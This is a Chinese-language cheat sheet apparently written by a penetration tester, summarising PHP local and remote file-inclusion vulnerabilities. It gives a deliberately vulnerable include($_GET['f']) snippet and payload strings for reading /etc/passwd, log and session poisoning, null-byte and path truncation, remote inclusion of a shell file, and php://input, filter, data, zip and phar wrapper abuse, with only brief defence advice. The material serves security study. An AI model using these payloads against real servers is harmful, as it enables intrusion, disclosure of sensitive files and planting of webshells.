文件包含漏洞小结
简述&&原理
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
常见包含函数有:include()、require()
区别:
- include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
- require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件
include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。
<?php
include($_GET['f']);
?>
测试环境:windows7+phpstudy 、 ubuntu+lnmp
本地包含
-
包含目录文件
?f=test.txt
如果里面的内容是php,则内容会被当成php执行,不是php则会读取到文件内容(用来读取/etc/passw等等配置文件的敏感信息)?f=./../../test.txt
./
当前目录,../
上一级目录,这样的遍历目录来读取文件金山软件官网文件包含问题:
http://www.wooyun.org/bugs/wooyun-2010-073100
文件读取漏洞路径收集:
http://wiki.wooyun.org/pentest:filepath -
包含日志文件
无法上传文件的时候,可以尝试利用UA插入payload到日志文件,然后包含容器的日志文件(错误、访问文件都行),注意:选择凌晨包含最好,payload后面加一个exit()退出程序,以防大日志导致浏览器卡死,如果包含不成功,也许是open_basedir限制了目录
常见几个路径:
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
更多见上面的路径收集 -
包含系统环境
linux(FreeBSD是没有这个的)下的/proc/self/environ
要求是php运行早cgi上面(具体没测试)...然后和包含日志一样,在User-agent修改成payload.
Exploiting LFI to RCE /proc/self/environ with burpsuite:
https://www.youtube.com/watch?v=dlh0ogYy9ys -
包含session文件
session文件一般在/tmp目录下,格式为sess_[phpsessid], -
包含其他由php创建的tmp文件
上传一个文件的过程,可以在tmp那里包含:
向服务器上任意php文件以form-data方式提交请求上传数据时,会生成临时文件,通过phpinfo来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。
本地测试:
链家旗下自如某站一个有意思的文件包含到简单内网渗透(本地文件包含getshell技巧):
http://www.wooyun.org/bugs/wooyun-2015-0134185
本地包含小姿势
审计中可见这样的包含模版文件:
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
-
%00截断
/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效) -
%00截断目录遍历:
/var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris) -
路径长度截断:
/etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256) -
点号截断:
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
远程包含&&常见封装协议的利用
-
远程代码执行:
?file=[http|https|ftp]😕/example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On)
在雨牛总结中看到,通过445共享, 注意此方法可以bypass allow_url_include为off,因为allow_url_include限制的知识http、https、ftp协议
当然smb限制过大,在如今运营商封杀445情况下很难有好的利用,但是可以通过webdav绕过(限windows)
http://127.0.0.1/test/include.php?f=//ip//webdav/1.php
-
利用php流input(接受POST过来的值):
?file=php://input
(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)
代码执行: -
利用php流filter(过滤器,可以用来读取php文件内容,不需要开启allow_url_include):
?file=php://filter/convert.base64-encode/resource=index.php -
利用data URIs:
?file=data://text/plain;base64,base64编码的payload
(需要allow_url_include=On)<?php phpinfo();
,注意没有?>闭合
其他封装协议的利用
-
zip协议
http://php.net/manual/zh/wrappers.compression.php$include_file=$_GET[include_file]; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { require( $include_file ); }
截取过来的后面4格字符,判断是不是php,如果是php才进行包含
协议原型:zip://archive.zip#dir/file.txt
注意url编码,因为这个#会和url协议中的#冲突 -
phar协议
phar是将php文件归档到一个文件包里面(我理解是类似与zip压缩包一样)<?php $p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ; $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?>
创建phar的时候要注意php.ini的参数,phar.readonly设置为off(本地测试的两个默认都是off)
然后通过包含协议访问:
http://192.168.227.128/other/lfi/ex1.php?f=phar://./phar/phartest.aaa/testfile.txt此方法使用要php>5.3.0
工具&&防御
工具:
https://github.com/P0cL4bs/Kadimus/
防御:
设置open_basedir
文献参考
http://wiki.wooyun.org/web:lfi
PHP文件包含漏洞总结:
http://drops.wooyun.org/tips/3827
文件包含与注入利用总结:
https://www.91ri.org/2736.html
php://input,php://filter,data URI schema的那些事:
https://www.91ri.org/7470.html
phar协议:
https://www.91ri.org/13363.html
论PHP常见的漏洞:
http://drops.wooyun.org/papers/4544
LFI WITH PHPINFO() ASSISTANCE:
https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf
PHP_LFI_rfc1867_temporary_files:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
zip或phar协议包含文件
http://bl4ck.in/index.php/tricks/use-zip-or-phar-to-include-file.html